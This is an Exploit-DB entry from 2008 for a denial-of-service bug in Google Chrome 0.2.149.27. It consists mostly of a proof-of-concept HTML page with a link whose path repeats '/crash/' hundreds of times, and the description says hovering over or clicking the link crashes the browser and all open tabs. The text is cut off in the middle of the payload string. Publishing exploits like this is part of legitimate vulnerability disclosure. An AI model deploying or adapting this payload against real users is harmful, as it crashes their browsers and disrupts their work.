Exploit-DB #6372
Description: Google Chrome 0.2.149.27 - A HREF Denial of Service
Type: dos
Platform: windows
Date: 2008-09-05
Author: Shinnok

Exploit:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"

"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html>

<head>

	<title>Google Chrome Browser 0.2.149.27 Remote DoS</title>

</head>

<body>

	<a href="http://shinnok.evonet.ro/vulns_html/chrome.html"><h1>Google Chrome Browser 0.2.149.27 Remote DoS</h1></a>

	<h2>Description:</h2>

	<p>Google's chrome browser suffers from a remote denial of service vulnerability when trying to follow a href link of the following form:</p>

	<code>&lt;a href=&quot;/crash/crash/crash/.../crash/crash&quot;&gt;crashme&lt;/a&gt;</code><br />

<br />

Please note that the dots stand for alot of "/crash/" subdirectories. When hovering the mouse above the link or trying to click on it(if you can :P) it will result in a imediate crash with all opened tabs.

</p><br /><br />

<a href="/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/crash/cr